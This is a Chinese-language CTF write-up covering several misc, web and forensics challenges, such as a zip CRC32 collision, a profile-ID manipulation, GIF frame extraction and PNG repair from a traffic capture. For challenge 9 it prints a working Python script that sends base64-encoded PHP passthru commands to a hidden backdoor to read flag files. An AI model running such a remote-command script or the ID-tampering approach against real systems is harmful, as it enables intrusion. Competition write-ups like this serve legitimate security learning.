时间跟CISCN & 长城杯重了,不过也无伤大雅,题都不是很难,web题有点多,对我这种不擅长web的选手很不友好。。呜呜呜
还有一点就是没有对方向进行区分(差评。。)同时也没有血的加持。。www。。
解题过程:
第1题
CRC(循环冗余校验)在通信领域常被用作数据校验手段,以其高效性著称,能迅速检测出数据中的错误。小华最近遇到了一个难题:他有一个重要的压缩文件,但不幸忘记了设置的密码。你能帮助小华获取文件的内容吗?
注:flag格式flagxxxxxxxx,没有下划线_,没有{}。(本题分数:50分)
用zip伪加密工具得到里面内容的

是通过CRC32碰撞的方式直接爆破该文件内容
Flag值:flagnisp6d8s
第2题
启动环境 ,再给出环境的url后面加上路径/blogic/,进入网站,获得会员马利的个人信息的同时,就能获得flag值。
注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:100分)
先登录进去

可以看到 /profile2.php?card_id=2012345600 其中对应着卡号: 2012345600
将他改成
得到:

用账号:马利,密码:123456,登录得到
(说实话这题出的也是真够离谱的。。设置个这么简单的密码,猜也能猜出来啊。。)

Flag:flag_nisp_bbff2e
第3题
所给的磁盘文件中具有机密数据,尝试将其中的机密数据进行恢复。
flag为机密文件的内容。
注:flag格式为flag{xxx}。(本题分数:50分)
放到随波逐流里直接得到flag

Flag值:flag{h58yfs36vm}
第4题
安全研究员小明发现了一个内部系统登录页面,他通过弱口令成功进入了后台,但系统似乎隐藏着更多秘密。据说flag就藏在系统的根目录下,你能帮他找到吗?
注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:100分)
先弱口令进去,网址里给了账号:admin,密码:admin123

一眼SQL注入,用sqlmap跑就行了,
猪播是fw,不是web手,不怎么会跑,试了一下没跑出flag,就放弃了
第5题
007拿到一个gif图片,接头暗号就在其中,你能帮他拿到接头暗号嘛
注:flag格式flag{xxx}。(本题分数:50分)
拿到gif,直接帧提取

用随波自带的gif动图分解帧,分出117张图片,flag在第61张图片里

Flag值:flag{wasj_123_!@#}
第7题
已知受害者ip为192.168.20.141 ,请你分析现有数据包,寻找攻击者下载的秘密文件并挖掘其中的flag
注:flag格式为flag{xxx}。(本题分数:150分)
在这份流量里,攻击者(192.168.20.129 )从受害者(192.168.20.141:80 )下载到的"秘密文件"实际是一张被轻微破坏过头部信息的 PNG 图片 (HTTP 200 OK,Transfer-Encoding: chunked,连接端口为攻击者侧 60696)。
把 PNG 头和 IHDR 高度字段修复后,得到如图:

图片中直接写出了 flag:
Flag值:flag{fxb_wasj_1abx5}
第9题
打开网站,找到flag。
注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:150分)
直接上脚本,利用 hack.html 隐藏后门执行系统命令来读取 flag 的 Python 自动化利用脚本
python
import requests
import base64
import re
import sys
def get_flag(base_url):
# 初始化配置
session = requests.Session()
session.verify = False
requests.packages.urllib3.disable_warnings()
target_url = f"{base_url.rstrip('/')}/ctf/index.php?file=hack.html"
# 验证连接
try:
if session.get(target_url, timeout=10).status_code != 200:
print("[-] 连接失败")
return
except Exception as e:
print(f"[-] 连接异常: {e}")
return
# 执行命令函数
def exec_cmd(cmd):
# 用passthru(兼容性最好,避开disable_functions)
php_code = f"passthru('{cmd}');"
payload = base64.b64encode(php_code.encode()).decode()
# 核心参数
data = {"ctf": "1", "shell": payload}
try:
res = session.post(target_url, data=data, timeout=10)
clean_res = re.sub(r'<[^>]+>', '', res.text).replace("hello", "").replace("ERROR!", "").strip()
return clean_res
except:
return None
# 核心flag路径
flag_paths = [
"../flag", "../flag.txt", "../flag.php",
"../../flag", "flag.txt", "/var/www/html/flag",
"/flag", "/flag.txt"
]
# 遍历路径读取flag
print("[*] 开始查找flag...")
for path in flag_paths:
output = exec_cmd(f"/bin/cat {path}")
if output and "flag_" in output:
print(f"[+] 找到flag: {[line.strip() for line in output.splitlines() if 'flag_' in line][0]}")
return
print("[-] 未找到flag")
if __name__ == "__main__":
# 默认靶机URL,支持命令行传参
target_url = sys.argv[1] if len(sys.argv) > 1 else "网址"
get_flag(target_url)
总结:
题是真的一点也不难,都能一把嗦(实话不如新生赛的难度。。)可能是禁止使用AI进行比赛吧
希望线下的时候,能分一下各个方向的类吧(Misc、Web、Crypto、Reverse、Pwn)